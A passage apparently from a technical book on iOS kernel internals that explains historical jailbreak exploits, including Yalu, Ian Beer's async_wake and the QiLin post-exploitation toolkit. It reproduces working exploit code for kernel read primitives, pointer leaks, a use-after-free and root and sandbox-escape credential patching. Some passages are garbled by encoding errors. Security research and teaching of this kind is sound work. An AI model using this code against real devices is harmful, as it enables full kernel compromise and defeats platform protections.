    // changes the bsd_info (in procoff) to the address of the leaked kernel
    // pointer (- 0x10, because the pid field is at offset 0x10)
    while (1) {
        int32_t leaked = 0;
        *(uint64_t*) (faketask + procoff) = leaked_ptr - 0x10;
        pid_for_task(foundport, &leaked);
        if (leaked == MH_MAGIC_64) {
            NSLog(@"found kernel text at %llx", leaked_ptr);
            break;
        }
        leaked_ptr -= 0x4000; // go back one page
    }



 

Looking at the code, you can see how the exploit uses the mapped fake port structure
twice: First, it retrieves the clock address, from offset 0x68 of the structure. This is an address
somewhere in the kernel const segment. It then uses the fake port structure by "recasting" its
type as a task, and connecting its underlying kdata to the task. It then sets the fields of the fake
task - offset 0x10 (active) to 0xee, and procoff (0x360, as a hard-coded offset) to the leaked
pointer - 0x10 bytes.

The reason for this peculiar move becomes evident when the exploit calls pid_for_task.
This Mach trap returns the PID corresponding to a particular Mach task. As explained in Volume
II, the trap calls port_name_to_task (which returns a task_t t1), then calls
get_bsdtask_info(t1) (which returns a struct proc *p) and - finally - proc_pid(p),
which returns the pid field - at offset 0x10. By carefully adjusting the offsets in the fake
structure, pid_for_task() becomes a gadget for arbitrary kernel memory read of any address
- adjusted down by 0x10 bytes. The exploit then uses this repeatedly, reading addresses from
kernel text segments, from the beginning of each page, until it hits the 0xFEEDFACF which
identifies the beginning of the kernel's Mach-O header - and thereby the kernel base - thus
defeating KASLR.

Getting the kernel task port

With KASLR defeated, the rest of the flow is straightforward. The exploit adjusts the value
of allproc, the process list, from the hard-coded address to the KASLR-corrected address. It
then manually walks the list, embedding the process pointer from it into the fake task's bsd_info,
and calling pid_for_task() again - but this time to really retrieve the associated pid of the
process pointer. In this way it can easily deduce its own struct proc address, and - of course
- that of the kernproc, for which pid_for_task will return a PID of 0:

Listing 24-21-a: Locating the kernel_task in kernel memory

while (proc_) {
        uint64_t proc = 0;
        
 // get top 32-bits of the iterator proc next entry
        *(uint64_t*) (faketask + procoff) = proc_ - 0x10;
        pid_for_task(foundport, (int32_t*)&proc);

 // get bottom 32-bits of the iterator proc next entry
        *(uint64_t*) (faketask + procoff) = 4 + proc_ - 0x10;
        pid_for_task(foundport, (int32_t*)(((uint64_t)(&proc)) + 4));

        int pd = 0;

        // set the bsdtask_info of the fake task
        *(uint64_t*) (faketask + procoff) = proc;

        // call pid_for_task for its intended purpose - get fake task's pid
        pid_for_task(foundport, &pd);
 
        // if pid is same as ours, we found our proc. If 0, we found kernel
        if (pd == getpid()) { myproc = proc; } 
 else if (pd == 0){ kernproc = proc; }

        proc_ = proc; // move to next
    } 

The coup de grace is in obtaining the kernel_task itself - which the exploit does in a
manner similar to the 9.x Pangu jailbreaks: Calling pid_for_task after setting the
bsdtask_info to kernproc (- 0x10) + 0x18 will retrieve the actual kernel_task
address. This is done twice, since pid_for_task only retrieves a uint32_t. Similarly, setting
the bsdtask_info to kern_task (- 0x10) + 0xe8 (the offset of the kernel task's send
right to itself, itk_sself) and calling pid_for_task() twice retrieves this value. Then ,
pid_for_task is abused one final time - calling it repeatedly to copy the kernel_task send
right over the fake task's special port #4! As shown in Listing 24-21-b:



 

Listing 24-21-b: Smuggling the kernel_task to user mode

    uint64_t kern_task = 0;
    *(uint64_t*) (faketask + procoff) = kernproc - 0x10 + 0x18;
    pid_for_task(foundport, (int32_t*)&kern_task);
    *(uint64_t*) (faketask + procoff) = 4 + kernproc - 0x10 + 0x18;
    pid_for_task(foundport, (int32_t*)(((uint64_t)(&kern_task)) + 4));
    
    uint64_t itk_kern_sself = 0;
    *(uint64_t*) (faketask + procoff) = kern_task - 0x10 + 0xe8;
    pid_for_task(foundport, (int32_t*)&itk_kern_sself);
    *(uint64_t*) (faketask + procoff) = 4 + kern_task - 0x10 + 0xe8;
    pid_for_task(foundport, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
    
    char* faketaskport = malloc(0x1000);
    char* ktaskdump = malloc(0x1000);

    // read kernel task's send right to itself, 4 bytes at a time
    for (int i = 0; i < 0x1000/4; i++) {
        *(uint64_t*) (faketask + procoff) = itk_kern_sself - 0x10 + i*4;
        pid_for_task(foundport, (int32_t*)(&faketaskport[i*4]));
    }

    // read kernel_task, 4 bytes at a time, using same technique
    for (int i = 0; i < 0x1000/4; i++) {
        *(uint64_t*) (faketask + procoff) = kern_task - 0x10 + i*4;
        pid_for_task(foundport, (int32_t*)(&ktaskdump[i*4]));
    }
    memcpy(fakeport, faketaskport, 0x1000);
    memcpy(faketask, ktaskdump, 0x1000);
    
    mach_port_t pt = 0;
    *(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
    *(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
    // set task special port #4 (itk_bootstrap)  to kernel task
    *(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;
    
    task_get_special_port(foundport, 4, &pt); // get tfp0

A simple user mode call to task_get_special_port() then gets the port handle to user
space, where it can be fed to the rest of the exploit, which is the same generic Yalu code from
10.1.1 and earlier.

Final notes

Todesco's innovative KPP bypass has yet (at the time of writing) to be fixed by Apple.
What's truly innovative is that it works roughly along the same lines in iPhone 7, where the role
of KPP is assumed by the hardware AMCC. Max Bazaliy and the Fried Apple Team are hard at
work to "backport" the technique so it works on iOS 9.x, allowing kernel patches to be reinstated
and bring back an unfettered jailbreak experience. It is more than likely that now, with Yalu open
sourced, someone will pick up the gauntlet and provide a universal jailbreak going back all the
way to iOS 8, with support for 32-bit devices, The Apple TV - and even the Watch.
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async_wake/v0rtex    Beer exploits a bug in IOSurface, an

Effective: iOS 10.x, iOS 11.0-11.1.2, TvOS
11.1-11.1

Release date: 11th December 2017

Architectures: arm64

Exploits:

IOSurface Memory Corruption (CVE-2017-13861)

Kernel memory disclosure in proc_info (CVE-2017-13865)

async_wake & 
The QiLin Toolkit (11.0-11.1.2)

Early in December 2017, world famous security researcher Ian Beer joined Twitter (as
@i41nbeer) with a single tweet saying "If you're interested in bootstrapping iOS 11 kernel
security research keep a research-only device on iOS 11.1.2 or below. Part I (tfp0) release soon.
". Within a day, Beer gained throngs of followers in anticipation, and the number was set to
increase rapidly over the next few days as the promise came near.

A week later, Beer indeed delivered, and released on December 11th a cleanly compilable
source providing a SEND right to the kernel_task in user space - thereby paving the way to
complete control over kernel memory (within the limitations of KPP/KTRR), and a complete
jailbreak.

oft exploited IOKit driver, to trigger a 
a UaF condition leading to a fake port 
construction. This bug was detailed by
Pangu in detailed blog post[1] (in
Chinese) independently of Beer. The
noted jailbreaking team had been
using this bug in private jailbreaks for
a while, and - much to their chagrin -
found this bug patched in 11.2 early
betas. Based on their description
@S1guza developed his "v0rtex"
exploit, as a full open source exploit targeting iOS 10.x devices.

To improve exploitability, Ian Beer uses another bug, allowing him to disclose kernel
pointers. This bug is in new code, introduced in XNU 4570 (Darwin 17) and therefore cannot be
back-ported to 10.x versions. Nonetheless, @S1guza's method - which does not rely on this
disclosure - proved reliable, and has further been ported to 32-bit devices (and thereby
guaranteeing jailbreakability for life, as the iPhone 5 has met its end-of-line with iOS 10.3.3).
S1guza details the specifics of his exploitation in the v0rtex GitHub page[2]
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Bypassing KASLR

Recall that the kernel addresses are slid by an unknown quantity, which changes on every
boot. A neccessary prequisite for kernel memory overwriting, therefore, is figuring out this slide
value, without which the exploit will "work in the dark", and likely cause a kernel panic. For this,
we need some API that can reliably leak kernel pointers.

Although Apple's developers make every efforts to prevent the disclosing of kernel address 
space pointers without "unsliding" them first, there appear to be simply too many APIs to cover. 
Further, often these pointer address disclosures surface in new code, which should have been 
written with security in mind. The bug exploited by Beer - CVE-2017-13865 - is one such 
disclosure.

The Bug

The proc_info system call (#336, discussed in I/15) provides an uparalleled amount of
information not just on processes, but also on kernel objects such as task structures, file
descriptors and kernel queues. As explained by Beer in the Project Zero Issue Tracker post[3],
this disclosure was found in a new proc_info flavor - PROC_PIDLISTUPTRS - added in XNU
4570, and implemented like so:

Listing 25-1: The kernel pointer disclosure in proc_info's LISTUPTRS flavor

int
proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval)
{

uint32_t count = 0;
int error = 0;
void *kbuf = NULL;
int32_t nuptrs = 0;

if (buffer != USER_ADDR_NULL) {
count = buffersize / sizeof(uint64_t); // integer division
if (count > MAX_UPTRS) {

count = MAX_UPTRS;
buffersize = count * sizeof(uint64_t); // no modulus problem

}
if (count > 0) {

kbuf = kalloc(buffersize); // modulus remains
assert(kbuf != NULL);

}
} else {

buffersize = 0;
}

// .. will copy after integer division again
nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize);

if (kbuf) {
size_t copysize;
if (os_mul_overflow(nuptrs, sizeof(uint64_t), &copysize)) {

error = ERANGE;
goto out;

}

if (copysize > buffersize) {
copysize = buffersize;

}
error = copyout(kbuf, buffer, copysize);

}
out:

*retval = nuptrs;
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The bug is subtle, but nonetheless important: There is no enforcement that the allocation
size - buffersize, which is controlled by the user mode caller - is an integer multiple of
sizeof(uint64_t). If the quotient of the two is larger than MAX_UPTRS (#defined as
16392), then that value is set. Otherwise, the buffersize is directly used as the kalloc allocation
size. The buffer is then passed (along with the allocated size) to
kevent_proc_copy_uptrs(), (in bsd/kern/kern_event.c), which performs an integer division
before passing the buffer further to klist_copy_udata and/or kqlist_copy_dynamicids,
both of which operate in pointer units. The return value of both is the number of elements that
exist, not the actual number copied.

Although there is an os_mul_overflow check, it does not help the case when the
buffersize is deliberately smaller than the size needed for the pointers, and is also not an integer
multiple. If the copysize (number of user pointers that could be returned to user-space) is
larger than the buffersize, the size will be adjusted back to the user supplied buffersize. This is
actually good practice (to prevent an overflow), but in practice allows the copying of the last
buffersize % 8 bytes - which kevent_proc_copy_uptrs did not initialize.

A PoC exploit for this bug is trivial, and requires to just pass a count of
(sizeof(uint64_t) * k + 7) for integer values of k (7 being the maximum amounts which
can be leaked, due to the modulus 8 operation). Beer supplies such a PoC in the article, and it
works on Darwin versions up to and including 17.2:

Listing 25-2: The PoC code for the proc_listuptrs bug

 uint64_t try_leak(pid_t pid, int count) {
  size_t buf_size = (count*8)+7;
  char* buf = calloc(buf_size+1, 1);

  int err = proc_list_uptrs(pid, (void*)buf, buf_size);

  if (err == -1) { return 0; }

  // the last 7 bytes will contain the leaked data:
  uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in calloc

  return last_val;
}

int main(int argc, char** argv) {
  for (int pid = 0; pid < 1000; pid++) {
    for (int i = 0; i < 100; i++) {
      uint64_t leak = try_leak(pid, i);

      /* Kernel pointers are identified by their well known address mask */
      if ((leak & 0x00ffffff00000000) == 0xffff8000000000) {
        printf("%016llx\n", leak); }
    }
  }
  return 0;
}

The Exploit

Leaking arbitrary kernel addresses certainly helps defeat KASLR. But we don't just want any
bytes to be leaked - we want some control over the content, so as to quickly enable us to
determine kernel addresses of known ports. This requires more finesse.

Beer uses a simple spray technique, in which he takes an object of interest - a port right -
and prepares a Mach message with that port right copied multiple times in an OOL descriptor.
Using a technique we've seen before, the message is sent to (another) ephemeral port, which
ensures the port descriptor ends up being copied multiple number of times in the kalloc zone.
This is shown in Listing 25-3:
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Listing 25-3: Spraying a port right of interest all over the kalloc zone

static mach_port_t fill_kalloc_with_port_pointer
   (mach_port_t target_port, int count, int disposition) {
  // allocate a port to send the message to
  mach_port_t q = MACH_PORT_NULL;
  kern_return_t err;
  err =  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
  if (err != KERN_SUCCESS) {
    printf(" [-] failed to allocate port\n");
    exit(EXIT_FAILURE);
  }

  mach_port_t* ports =  malloc(sizeof(mach_port_t) * count);
  for (int i = 0; i < count; i++) {
    ports[i] = target_port;
  }

  struct ool_msg* msg =  calloc(1, sizeof(struct ool_msg));

  msg->hdr.msgh_bits = 
     MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
  msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
  msg->hdr.msgh_remote_port = q;
  msg->hdr.msgh_local_port = MACH_PORT_NULL;
  msg->hdr.msgh_id = 0x41414141;

  msg->body.msgh_descriptor_count = 1;

  msg->ool_ports.address = ports;
  msg->ool_ports.count = count;
  msg->ool_ports.deallocate = 0;
  msg->ool_ports.disposition = disposition;
  msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
  msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

  err =  mach_msg(&msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct ool_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    printf(" [-] failed to send message: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  }

  return q;
}

Note above that the message is sent (MACH_SEND_MSG) but not received. This ensures that 
the port spray remains in kernel space, until that point where the message is either received, or 
its target port destroyed - This is why the return value of the spray function is the target port.
Copy in kernel accomplished, beer can immediately free the port and call the proc_info API to
potentially leak addresses. Kernel zone pointers are always of the form 0xffffff8......... - So even
with the most significant byte 0 (owing to a leak of only seven out of the eight bytes), so they
are still recognizable. Beer then sorts the pointers, and returns the kernel pointer most
commonly leaked, which (with a very high probability) should correlate to the address of the
sprayed port. Thus, KASLR is vanquished.

Beer continues to use the proc_info memory disclosure in innovative ways. One such way
is his early_kalloc(), which forces a kernel allocation by sending a message larger than the
request kalloc size. The message is sent to an ephemeral port, whose address can be leaked.
By further calculating the location of the port's ipc_mqueue, he can use a kernel read primitive
to retrieve the address of the resulting buffer, and pass it to user mode, where it can be written
to with a kernel write primitive.
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Kernel Memory Corruption

The kernel memory corruption bug used in this exploit is a classic Use after Free (UaF).
Pangu provide a simple proof of concept in their blog:

Listing 25-4: The Pangu IOSurface ref count bug PoC

// open user client
CFMutableDictionaryRef matching = IOServiceMatching("IOSurfaceRoot");
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
io_connect_t connect = 0;
IOServiceOpen(service, mach_task_self(), 0, &connect);

// add notification port with same refcon multiple times
mach_port_t port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
uint64_t references;
uint64_t input[3] = {0};
input[1] = 1234;  // keep refcon the same value
for (int i=0; i < 3; i++)
{
    IOConnectCallAsyncStructMethod

(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL);
}

IOServiceClose(connect);

Note the use of the same reference value (arbitrarily set at 1234) multiple times. This causes 
an over-free of the notification port: Once by the external method implementation (which returns 
an error), and another time by MIG, which releases the port due to the external method
implementation returning an error code. This leaves the port dangling in kernel space, and
setting the stage for a UaF exploit, the likes of which we have seen in these pages before.

The Exploit

Pangu did not demonstrate an exploit PoC, but Ian Beer certainly did. In the Project Zero
issue tracker[4] Beer not only provided a clear elaboration of the bug in English, but also
attached the "async_wake" exploit. Beer's exploit provided a fully reliable way of using this
simple reference counting oversight to smuggle a send right to the kernel_task to user mode.
The code, reasonably neat and cleanly compilable, has since been forked on GitHub by
numerous people, truly opening up jailbreaking for the first time for the masses - both
professionals and amateurs - with most of the tough work already performed.

Beer follows the same techniques used by Todesco & Grassi in Yalu 10.2: Constructing a
new, fake task port, and aiming it to overlap with the dangling port he can create using the
IOSurface bug. Unlike the Yalu method, however, he does not need to create the port in user
space. Instead, he builds the port in the payload of a Mach message. XNU 4570 removes the
mach_zone_force_gc MIG, which (as we've seen in previous chapters) has been used
extensively by jailbreakers to aid in Zone Feng Shui. This, however, is practically irrelevant, as
garbage collection (and thereby, a likelihood of memory reuse after free) can be stirred by
spraying many ports before the operation and freeing them. Beer thus frees the ports, then
sprays his fake port-in-a-Mach-message, and hopes to get a "replacer" on his dangling (first_)
port.

Once a replacer (port use-after-free) is found (via mach_port_get_context(), kernel
memory read/write has been achieved. Once again, using the pid_for_task() trap as a read
primitive, he can scour kernel memory to obtain the kernel_task and kernel_ipc_space,
and then create a new port to smuggle the kernel_task send right to user space.
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Listing 25-5: The fake port construction used by Ian Beer in async_wake

Kernel function call primitive

Beer's excellent exploitation techniques don't end here. He further shows his unrivaled
mastery of direct kernel object manipulating in supplying an in-kernel function call primitive
(called kcall(). He starts off by creating an ephemeral port (mach_port_allocate()) and
using the proc_info() memory disclosure to obtain its in-kernel address. Address at hand, he
uses his kernel memory write primitive to polymorph the port into an IOKIT_CONNECT type, so
it can be used with iokit_user_client_trap. Since the latter relies on an external trap
dispatch table, Beer fakes that too by crafting a vtable to replace
getExternalTrapForIndex() with csblob_get_cdhash(), which he effectively uses as a
gadget - since the function never really checks its input and merely returns where the CDHash
should be - at offset 0x40. Beer embeds the first supplied argument at that offset, and places
the arbitrary function immediately after, as shown in Figure 25-6 (next page). This allows calling
any arbitrary function from user mode, using iokit_user_client_trap in a clean, safe and
effective way.

uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, 
  uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr) {
  uint8_t* body = malloc(message_body_size);
  memset(body, 0, message_body_size);

  uint32_t port_page_offset = dangling_port_address & 0xfff;

  // structure required for the first fake port:
  uint8_t* fake_port = body + (port_page_offset - message_body_offset);

  *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = 
IO_BITS_ACTIVE | IKOT_TASK;

  *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak refs
  *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
  *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
  *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;

*context_ptr = (uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));

  // set the kobject pointer such that task->bsd_info reads from ip_context:
  int fake_task_offset = 
    koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);

  uint64_t fake_task_address = dangling_port_address + fake_task_offset;
  *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;

  // when we looked for a port to make dangling we made sure it was correctly positioned 
  // on the page such that when we set the fake task pointer up there it's actually all 
  // in the buffer so we can also set the reference count to leak it, let's double check that!

  if (fake_port + fake_task_offset < body) {
    printf("the maths is wrong somewhere, fake task doesn't fit in message\n");
    sleep(10);
    exit(EXIT_FAILURE);
  }

  uint8_t* fake_task = fake_port + fake_task_offset;
  // set the ref_count field of the fake task:
  *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
  // make sure the task is active
  *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
  // set the vm_map of the fake task:
  *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
  // set the task lock type of the fake task's lock:
  *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
  return body;
}
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Figure 25-6: Ian Beer's kernel function call prim
itive
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Post-Exploitation: The Jailbreak Toolkit

Getting a SEND right to the kernel task port is a huge step on the road to a jailbreak, but it
is not the only step. Apple's considerable hardening measures - most notably, kernel patch
protection - are taking their toll on the jailbreaking process, which is getting more delicate and
complicated with every *OS version. The steps outlined throughout Chapter 13 may still apply -
but only in 32-bit kernels or those 64-bit kernels before the iPhone 7, wherein the software
based KPP may be bypassed. More modern devices require a different approach, focusing on
data patching, which the newer AMCC cannot protect against.

The author has decided to release a "jailbreak toolkit" called QiLin[5]��麒麟���which has been
XVHG�by him for private jailbreaking. Since most public exploits end up providing the 
kernel_task�SEND right, it made sense to create a library which (given the right) would 
provide the additional�functionality, discussed herein. The aim of the toolkit is to alleviate the 
jailbreak enthusiast or�security researcher from the nooks and crannies of post-exploitation, and 
to standardize�jailbreaking in a way which will be as forward compatible as possible. The Liber 
IDPLO\�RI�jailbreaks (LiberiOS[6], LiberTV[7] and the private LiberWatchee) all make use of this
toolkit, and�are also open source so as to provide actual usage examples.

Note, that the SEND right to the kernel_task (or, optionally, a kernel
memory read/write primitive) still has to be provided somehow, as does the

kernel base address (so as to deduce KASLR). Thus, the QiLin jailbreak toolkit
does not provide any type of exploit - only the post exploitation steps.

Prerequisite: Manipulating the process and task lists

Kernel code (text) patching is generally regarded as no longer possible, so all patching must
take place in mutable data. The most useful data to patch are the process and task lists, which
(at least with the current design of KTRR) are volatile and therefore cannot be protected. As it
turns out, the two object lists provide more than enough capabilities to defeat the in-code
protections, by allowing the kernel_task SEND holder the ability to manipulate its own
structures, and those of other processes it may wish to "bless".

The process list can be easily located by its very first member - the kernproc. This symbol
is fortunately exported, and so can be easily found by either joker or jtool -S. It is a pointer
to a struct proc entry which represents the kernel itself (the so called "pid 0"), and provides
a perfect entry point to the linked list of all processes on the system. The very first element of
the structure is the p_list, which can be traversed by reading kernel memory, one struct
proc at a time, to obtain the in-kernel representation of all running processes. A utility function,
processProcessList, does just that, and returns the in-kernel address of the struct proc
corresponding to a requested targetPID.

The struct proc itself is defined in XNU's bsd/sys/proc_internal.h and itself includes
several in-kernel types. These, however, can easily be made opaque (their pointers converted to
void *, and mutexes/list entries converted to structures taking the same size). This provides
the benefit of relieving the toolkit from requiring hard-coded offsets, which are bound to change
between kernel releases, and allows access to fields. Figure 25-7 (next page) illustrates the
struct proc and some of its sub-structures which are particularly important to jailbreaking:
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Rootify

The first step in a "classic" privilege escalation is to obtain the might of the root user - that
is, assume the effective user id and group id of 0:0. Looking at the kernel definition of struct
proc (in XNU's bsd/sys/proc_internal.h) (or the previous figure), there are indeed p_uid and
p_gid fields - but those aren't the ones that need to be overwritten. This is because calls to
getuid() and getgid() don't actually look at these fields, and instead use KAuth calls.

As discussed in Chapter 3, KAuth allows for various authorization hooks by kernel
extensions, and a large part of the authorization requires obtaining the credentials. These can be
retrieved with kauth_cred_get(void), which fetches the credentials of the caller from the
uu_ucred field of the struct uthread returned by the current_thread() call.

Specific credential fields in the returned kauth_cred_t are normally manipulated by the
kauth_cred_[get/set]* accessors, but patching them requires violating the abstractions
and getting straight to the structure definition, in bsd/sys/ucred.h:

Listing 25-8: The offset annotated struct ucred, from XNU 4570's bsd/sys/ucred.h:

struct ucred {
/* 0x00 */ TAILQ_ENTRY(ucred)  cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
/* 0x10 */ u_long  cr_ref;              /* reference count */
struct posix_cred {
   /*

* The credential hash depends on everything from this point on
* (see kauth_cred_get_hashkey)

    */
/* 0x18 */ uid_t   cr_uid; /* effective user id */
/* 0x1c */ uid_t   cr_ruid; /* real user id */
/* 0x20 */ uid_t   cr_svuid; /* saved user id */
/* 0x24 */ short   cr_ngroups; /* number of groups in advisory list */
/* 0x28 */ gid_t   cr_groups[NGROUPS];     /* advisory group list (NGROUPS = 16)*/
/* 0x68 */ gid_t   cr_rgid; /* real group id */
/* 0x6c */ gid_t   cr_svgid; /* saved group id */
/* 0x70 */ uid_t   cr_gmuid; /* UID for group membership purposes */
/* 0x74 */ int     cr_flags; /* flags on credential */
} cr_posix;
/* 0x78 */ struct label    *cr_label;      /* MAC label */
    /* 

* NOTE: If anything else (besides the flags)
* added after the label, you must change
* kauth_cred_find().

     */
    struct au_session cr_audit;
};

The TAILQ_ENTRY (which we thankfully don't need to modify, with that ominous warning)
is a doubly linked list, which means that it's 2 * sizeof(void *), or 0x10 in a 64-bit
architecture. Add to that the cr_ref - another 0x08 (sizeof (u_long))), and we get that
the offset of cr_uid is at 0x18. A simple bzero() on the following 0xc bytes (3 *
sizeof(uid_t)) thus does the trick, and would yield the much coveted uid 0 effective
immediately. Although a textbook example would require this to be done for each thread, in
practice it suffices to set the credentials directly for the process, at the p_ucred field of the
struct proc. Digging in struct proc (from Listing 25-7) we find the credentials at offset
0x100 (as the p_ucred field. The credential patching - effectively setuid/setgid of any
process to 0, can then be had with the following simple code:
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Listing 25-9: Code to setuid(uid)/setgid(uid)

int setuidProcessAtAddr (uid_t Uid, uint64_t ProcStructAddr)
{
    struct proc *p;
    if (!ProcStructAddr) return 1;
    int bytes = readKernelMemory(ProcStructAddr,

sizeof(struct proc),
(void **)&p);

     printf( "Before - My UID: %d (kernel: %d), My GID: %d (kernel: %d)\n", 
  getuid(), p->p_uid,  getgid(), p->p_gid);

    // This alone won't really work
    p->p_uid = p->p_gid = 0; // not actually used in getuid! kauth_cred is..

    uint64_t procCredAddr = p->p_ucred;

    uint32_t ids[3] = { 0 };

    // This sets both Uid and Gid to same value. In practice, we just use 0/0.
    if (Uid) { 

int i = 0;
for (i = 0 ; i < 2 ; i++) {

ids[i] = Uid;
}

    bytes =  writeKernelMemory(procCredAddr + 0x18,
3*sizeof(uint32_t),
ids);

    printf( "After - My UID: %d, My GID: %d\n",  getuid(),  getgid());

    free (p);
    return 0;
}

Shai Hulud

Traditionally, obtaining root privileges would unlock with it nigh-omnipotent powers. On
Darwin systems, however, this is no longer the case. With MacOS's SIP and the formidable *OS
Sandbox in place, uid 0 tends to 0 unless one can break out of the sandbox.

We can find the easiest way to break out of the sandbox by reverse engineering. Recall from
Chapter 8 ("Profile Evalutation") that the sandbox code calls derive_cred to obtain the caller
credentials, and immediately exempts those of kernel credentials from any processing. What
easier way, then, than simply adopting the credentials of the kernel? Since we have the
_kernproc export as an entry point into the process list, we don't have to work that hard -
simply read the credential pointer (from offset 0x100 of the structure), and copy it over our own.
This immediately gets us a sandbox escape - all the benefits of a root process. In fact, this is a
shortcut of sorts, since replacing the credential pointer automatically gives the full set of
credentials (from Listing 25-8). This also conveniently includes uid/gid 0. We can now have
unfettered access to every system call we want - including execve(), fork(), and
posix_spawn() - which are crucial to start other processes.

Note, that simply taking the credentials and overwriting ours would be bad practice!
Credentials structures in the kernel are protected by locks and reference counts - and a call to
kauth_cred_unref() or its siblings (for example , on process exit) will toggle the reference
count, possibly ending in a dangling reference - which may lead to a panic. This won't be an
issue if the kernel credentials are usurped, but will be if the credentials of another process are
taken. It's a good idea, therefore, to keep the original set of credentials, and restore them before
exiting.
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Remounting the root filesystem as read-write

The root filesystem of *OS is mounted as read-only, with a special check to prevent it from�
being mounted as read write. The check is enforced in D�VDQGER[�KRRN� which is called through 
0$&)�FDOORXWV�from mount_begin_update() and mount_common()�(in bsd/vfs�vfs_syscalls.c). 
Listing�25-10 shows the decompiled MACF remount hook, from XNU-4570's sandbox.kext:

Listing 25-10: Root node remount protection, from Sandbox.kext 765.20

mpo_mount_check_remount(cred, mp, mp->mnt_mntlabel)
{ 
fffffff0068280e0 SUB     SP, SP, 352 ; SP -= 0x160 (stack frame)
fffffff0068280e4 STP     X22, X21, [SP, #304] ; *(SP + 0x130) = 0x0
fffffff0068280e8 STP     X20, X19, [SP, #320] ; *(SP + 0x140) = 0x0
fffffff0068280ec STP     X29, X30, [SP, #336] ; *(SP + 0x150) = 0x160
fffffff0068280f0 ADD     X29, SP, #336   ; R29 = SP+0x150
fffffff0068280f4 MOV     X21, X1 ; --X21 = X1 = ARG1
fffffff0068280f8 MOV     X19, X0 ; --X19 = X0 = ARG0
       /* X20 */ vn = NULL;
       vnode_t vn = vfs_vnodecovered(mount_t mp)
fffffff0068280fc MOV     X0, X21 ; --X0 = X21 = ARG1
fffffff006828100 BL      _vfs_vnodecovered       ; 0xfffffff00683a48c

      if (vn)
fffffff006828104 MOV     X20, X0 ; --X20 = X0 = 0x0
fffffff006828108 CBNZ    X20, 0xfffffff006828128 ;
    {

if (_vfs_flags(mp)  & MNT_ROOTFS)
fffffff00682810c MOV     X0, X21 ; --X0 = X21 = ARG1
fffffff006828110 BL      _vfs_flags      ; 0xfffffff00683a450
fffffff006828114 TBNZ    W0, #14, 0xfffffff006828120     ;

{
vn = NULL;

fffffff006828118 MOVZ    X20, 0x0 ; R20 = 0x0 
fffffff00682811c B       0xfffffff006828128

}
else {

vn = vfs_rootvnode();
fffffff006828120 BL      _vfs_rootvnode  ; 0xfffffff00683a474
fffffff006828124 MOV     X20, X0         ; --X20 = X0 = 0x0

}
      }
      R0 = _bzero(SP + 0x20,272);

fffffff006828128 ADD     X0, SP, #32     ; R0 = SP+0x20
fffffff00682812c MOVZ    W1, 0x110 ; R1 = 0x110 
fffffff006828130 BL      _bzero  ; 0xfffffff006839fc4

fffffff006828134 ORR     W8, WZR, #0x1 ; R8 = 0x1 
fffffff006828138 STR     W8, [SP, #152] ; *(SP + 0x98) = 0x1
fffffff00682813c STR     X20, [SP, #160] ; *(SP + 0xa0) = 0x0
fffffff006828140 MOVZ    W2, 0x11 ; R2 = 0x11 
fffffff006828144 ADD     X0, SP, #8      ; R0 = SP+0x8
fffffff006828148 ADD     X3, SP, #32     ; R3 = SP+0x20
fffffff00682814c MOV     X1, X19 ; --X1 = X19 = ARG0
fffffff006828150 BL      0xfffffff006827c28
fffffff006828154 LDR     W19, [X31, #8]  ???;--R19 = *(SP + 8) = 0x0
    /* Release vnode ref (required because of vfs_rootvnode() */

if (vn)
{

fffffff006828158 CBZ     X20, 0xfffffff006828164 ;
vnode_put(vn);

fffffff00682815c MOV     X0, X20 ; --X0 = X20 = 0x0
fffffff006828160 BL      _vnode_put      ; 0xfffffff00683a5b8

  }
  return (X19);
fffffff006828164 MOV     X0, X19 ; --X0 = X19 = 0x0

...   }
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The Sandbox MACF hook clearly checks if the existing mount flags specify MNT_ROOTFS,
